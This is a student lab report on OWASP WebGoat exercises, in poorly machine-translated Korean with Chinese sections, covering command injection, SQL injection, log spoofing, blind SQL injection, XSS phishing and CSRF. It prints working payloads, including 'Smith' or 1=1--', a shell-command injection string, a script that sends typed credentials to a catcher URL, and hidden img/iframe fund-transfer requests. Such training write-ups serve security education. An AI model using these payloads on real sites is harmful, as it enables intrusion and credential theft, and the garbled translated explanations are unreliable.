네트워크 기술 20165324 Exp9에 대한 2018-2019-2 : 웹 보안 필수
실험 수업에서
- 콘텐츠 개요를 실험
- Webgoat 준비
- SQL 주입 공격
- 명령 주입 (명령 주입)
- 디지털 형 임플란트 (숫자 SQL 인젝션)
- 속이는 로그인 (로그인 스푸핑
- SQL 주입 (LAB : SQL 주입)
- 문자열 주입 (문자열 SQL 주입)
- 블라인드 숫자 주입 (블라인드 숫자 SQL 인젝션)
- XSS 공격
- XSS 钓鱼 (XSS와 피싱)
- 저장 형 XSS 공격 (저장 XSS 공격)
- 반사 XSS 공격 (XSS 공격을 반영)
- CSRF 공격
- CSRF (크로스 사이트 요청 위조 (CSRF))
- 우회 CSRF 승인 (CSRF 프롬프트 바이 패스)
- 기본 질문에 대답
- SQL 인젝션 공격은 어떻게 방어
- 원리 : SQL 주입 취약점 데이터베이스 쿼리 처리가 존재하는 백엔드 웹 응용 프로그램의 보안 취약점을 의미합니다. 즉, 임베디드 SQL은 설계 과정에서 공격을 구성 할 수있다 특별한 문자열을 확인에서, 입력 문자열에서 명령입니다. 정상적인 SQL 명령은 심지어 데이터베이스 백엔드 손상 같은 심각한 결과를 초래 각종 동작을 수행하기 위해 백 엔드 데이터베이스를 달성하기 위해 통상적으로 실행 가능한 백 엔드 데이터베이스 간주되면
- 방어 : 끄거나 제거 불필요한 대화 형 양식 페이지를 제출, 감염 방지하기 위해 서버 측에서 백업 파일을 배치하지 않거나 백업 파일이 원인이 허점을 포함, 일반 사용자 및 시스템 관리자 사용자 권한이 엄격한 구별이 진입 점.
- 원리 XSS 공격을 어떻게 방어
- 원리 : 공격자는 사용자가 페이지를 방문 할 때 HTML 태그 또는 자바 스크립트 코드에서 악의적 인 웹 페이지를 삽입, 또는 특정 작업을 수행하기 위해, 공격자는 원래 사이트에서 사용자의 신뢰를 악용하거나 브라우저가 몇 가지 안전하지 않은 작업을 수행하는 사용자를 속여하거나 다른 사이트로 사용자의 개인 정보를 제출합니다.
- 국방 방법 : 웹 개발자는 이스케이프 문자 안전한 같은 도구를 사용하여 특수 문자를 테스트하기 위해 제출 한 사용자가 입력 한 데이터의 형태로 믿지 않는 시간의 원칙을 준수, 입력 상자의 길이를 제한 할;
- CSRF 어떻게 방어하는 원리를, 공격
- 원리 : CSRF이 거짓 로그인합니다. 크로스 사이트 위조 요구의 핵심 본질은 사용자 세션을 도용하거나, 쿠키, 현재의 상황 주류하기 때문에> 세션 쿠키에있는 존재이다. 사용자가 로그인하면, 세션이기 때문에 공격자는 피해자의 특정 계정과 암호에 대해 상관하지 않는다 유일한 증거 사용자가 한 세션을 얻을 수있는 공격자로, 서버에 피해자로 위장 할 수있다. 주로 경우 확인 후, 사이트 a를 액세스하기 위해 사용자 이름과 암호를 입력, 사이트 A는 쿠키 정보 및 반환, 이번에는 웹 사이트를 방문을 생성 성공적인 웹 사이트는 일반적으로 A.에 요청을 보낼 수 있습니다 출구 사이트는 다른 접근 A, B가 아닌 전에 사이트 B는 웹 사이트 A를 일부 공격 코드 및 액세스를 요청을 반환 할 수 있습니다, 따라서 사이트 B의 요청에 요청 사이트 A에 웹 사이트 그러나 요청이 악성 모르는, 그래서 악성 코드를 실행합니다
- 국방 방법 : 토큰이 일치하지 않는 경우 토큰을 사용하여, 각 페이지가 생성 웹 서버 토큰, 서류 정리의 시간도 서버에 제출 된 토큰을 포함, 서버, 공격이 CSRF 것으로 판단 결정, 제출 방법 정기적으로 청소 쿠키, 게시, 또는 단지 서버 측 자원을 변경하지 않고 검색 할 수있는 GET 요청에 의해 대체되었습니다.
- SQL 인젝션 공격은 어떻게 방어
- 실험과 경험을 요약
- 나 자신을 발견 실험 콘텐츠 네트워크 공격에 새로운 지식을 많이 배우고 연구의 많은 부분이 충분히 철저 아니었지만 방어 또한 깊은 이해와 경험을 가지고 있지만, 그들은 여전히 많은 기반으로 콘텐츠를 제어, 그것은 매우 보람입니다.
내용 9.1 : WebGoat
설명 : WebGoat는 OWASP 조직이 취약점은 웹 애플리케이션에 존재하는 보안을 설명하기 위해 웹 애플리케이션 취약점 실험을위한 플랫폼을 개발한다. 크로스 사이트 스크립팅 공격 (XSS), 액세스 제어, 보안 실, 운영 숨겨진 필드, 매개 변수 조작, 약한 세션 쿠키 : 자바 가상 머신 플랫폼에서 실행 WebGoat, 현재를 포함하여 30 개 이상의 교육 과정을 제공 , SQL 블라인드, 등 디지털 형 SQL 주입, SQL 주입 문자열, 웹 서비스, 오픈 인증 실패, 위험한 HTML 주석과. WebGoat는 웹 보안을 배울 수있는 튜토리얼의 시리즈를 제공하며, 일부 코스는 또한 비디오 프리젠 테이션 부여, 공격에이 취약점을 악용 할 수있는 사용자를 안내합니다.
- 다운로드 webgoat 컨테이너-7.0.1-war- exec.jar의 파일
포함하는 파일의 디렉토리에있는 명령
java -jar webgoat-container-7.0.1-war-exec.jar
을 실행 Webgoat는 메시지가 나타납니다Starting ProtocolHandler ["http-bio-8080"]
설명 열기를, 당신이 점령 포트 8080을 볼 수 있습니다, 실험 터미널을 닫을 수 없습니다.
- 브라우저 입력에서
http://localhost:8080/WebGoat
직접 기본 사용자 이름과 암호를 사용하여 WebGoat 로그인 인터페이스에 로그인합니다. (페이지 잘못된 경우, 아마 버전이 호환, 참조 링크되지 않습니다 JDK : https://www.jianshu.com/p/9ec7838411c8 )
내용 9.2 : SQL 주입 공격 (삽입 취약점)
1. 분사 지령 (명령 인젝션)
원리 : 제출 프로세스가 정상 매개 변수 명령을 실행하는 악성 코드를 추가합니다.
목표 : 당신은 대상 호스트에있는 모든 시스템 명령을 실행할 수 있습니다
- 작업 방법 :
페이지를 마우스 오른쪽 버튼으로 클릭 선택
inspect Element
소스 코드, 상자에 코드의 열을 수정할 검토 페이지 요소를 선택하고 마우스 오른쪽 버튼을 클릭 한Edit At Html
추가, 수정"& netstat -an & ipconfig"
.보기를 클릭, 당신은 네트워크 포트 사용 및 명령의 IP 주소가 실행 볼 수 있습니다. 성공적인 공격!
2. 디지털 타입의 임플란트를 (숫자 SQL 인젝션)
원리 : 역 필드에 주입 기능 문자, 새로운 SQL 문에 결합했다.
예를 들면 : weather_data FROM *을 선택 WHERE 역 = [기지국]목적 :이 예는 SQL 주입 문자열을 통해 모든 기상 데이터를 볼 수 있습니다.
방법 :
선택 페이지에서 마우스 오른쪽 단추로 클릭하고inspect Element
, 소스 코드를 수정하기 위해 검토 페이지 요소를 값 값 선택한 도시에 번호를 추가or 1=1
.
- 날씨는 모든 도시를 보여, 공격이 성공!
3. 로그 속이는 (로그인 스푸핑)
- 원리 : 로그 파일에 인간의 눈을 속일, 공격자가 로그에 자신의 흔적을 지우려면이 방법을 사용할 수 있습니다
- 대상 : 회색 영역의 내용을 기록 웹 서버의 로그를 대표하는, 우리의 목표는 로그에 사용자 이름은 "관리자"사용자 "성공 로그인"을 사용하는 것입니다
- 작동 방법 :
- 전제 : 제목은 사용자 입력을 사용자 이름을 사용하고 로그 파일에 추가합니다.
- 캐리지 리턴 (0D %)로와 줄 바꿈 (%의 0A)를 사용하여 사용자 이름을 기입
hcj%0d%0aLogin Succeeded for username: admin
4. SQL 인젝션 (LAB : SQL 인젝션)
- 1 단계 : 사출 문자열 (1 단계 : 문자열 SQL 주입)
원리 : 문자열을 주입하여 인증을 생략
- 작동 방법 :
- 페이지를 마우스 오른쪽 버튼으로 클릭 선택
inspect Element
소스 코드를 수정하기 위해 검토 페이지 요소를 20로 변경 암호 상자 암호의 최대 길이를 제한합니다.
- 페이지를 마우스 오른쪽 버튼으로 클릭 선택
- 以用户Smith 登录,输入密码```Smith' or 1=1--```
- 得到所有人员列表,攻击成功!
3 단계 : 숫자 SQL 주입 (3 단계 : 숫자 SQL 주입)
원리 : 일반 직원 계정으로, 수치 데이터 주입 인증을 우회하여, 보스의 사용자 정보를 확인.
- 작동 방법 :
- 사용자 이름 래리 래리 클릭 로그인 암호에 로그온 ViewProfile은 사용자 정보를 보려면 클릭
- 페이지를 마우스 오른쪽 버튼으로 클릭 요소 요소는 소스 코드를 검토 검사 페이지를 선택, 우리는 인덱스가 직원 ID를 기반으로 볼 수있는, 아마도 그것은 첫 번째 쿼리 데이터마다 돌아왔다.
- 직원 ID의 값이 변경 때문에, 가장 높은 임금해야 사회 공학의 감독에 의해 설명
101 or 1=1 order by salary desc
, 그래서 데이터에 대한 첫 번째 쿼리와 같은 정보 소유자. - 보스의 계정 정보를 얻을, 공격이 성공!
주입 문자열 (문자열 SQL 주입)
- 원리 : 다음 쿼리를 기반으로 자신의 SQL 주입 문자열을 구성합니다.
SELECT * FROM user_data WHERE last_name = '?'
목표 : 다음 표는 사용자가 자신의 신용 카드 번호를 볼 수 있습니다. 모든 신용 카드 정보를 제공하는 SQL 주입 시도가 표시됩니다. 사용자 이름이 "스미스"입니다보십시오.
- 작동 방법 :
- 정상적인 상황 하에서 만하면 신용 카드 번호에 해당하는 사용자 이름을 쿼리
- 쿼리를 사용자 이름을 입력합니다
Smith' or 1=1--
(스미스와 조건이되고있다 (1) = 1 개 쿼리 및 1 = 1 신원, 그것은 내부의 모든 데이터 테이블을 조회 할 수 있습니다) - 得到所有用户的信用卡号码,攻击成功!
6. 数字型盲注入(Blind Numeric SQL Injection)
原理:某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
目标:该题目允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。我们找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,通过该题目。
- 操作方法:
- 本题目中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。但我们可以利用系统后台在用的查询语句
SELECT * FROM user_data WHERE userid=accountNumber;
如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用 AND 函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐 号有效,否则无效。
针对查询语句的后半部分构造复杂语句,如:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )
;如果提示无效,则pin值小于5000,使用二分法,最终得出pin的值为2364
- 本题目中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。但我们可以利用系统后台在用的查询语句
内容9.3:XSS攻击
- 跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。
1. XSS 钓鱼(Phishing with XSS)
- 原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
目标:创建一个 form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
- 操作方法:
- 利用XSS可以在已存在的页面中进一步添加元素,包括两部分:
- 受害人填写一个表格;
- 服务器以读取脚本的形式,将收集到的信息发送给攻击者。
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
- 编写一个带用户名和密码输入框的表格
- 利用XSS可以在已存在的页面中进一步添加元素,包括两部分:
//脚本
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
2. 存储型XSS攻击(Stored XSS Attacks)
原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
目标:写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
给用户发一个信息,用户在打开这个信息的时候触发了隐藏在信息里面js代码,然后被盗走了cookies
3. 反射型XSS攻击(Reflected XSS Attacks)
原理:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
目标:使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击
操作方法:
- 输入代码
<script>alert("hello20165324");</script>
,点击purse
的同时页面就给出了反馈
- 输入代码
内容9.4:CSRF攻击
1. 跨站请求伪造(Cross Site Request Forgery (CSRF))
- 操作方法:
- 查看页面右侧Parameters中的src和menu值,分别为276和900
- 在title中输入任何参数,message框中输入
<img src="http://localhost:8080/WebGoat/attack Screen=267&menu=900&transferFunds=5000" width="1" height="1" />
,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),用户一旦点击图片,就会触发一个CSRF事件,点击Submit
提交
- 在Message List中生成以Title命名的消息。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
2. 绕过 CSRF 确认( CSRF Prompt By‐Pass)
操作方法:
- 查看页面右侧Parameters中的src和menu值分别为276和900
- 并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=276&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=276&menu=900&transferFunds=CONFIRM"> </iframe>
- 在Message
List中生成以Title命名的链接,点击进入后,攻击成功。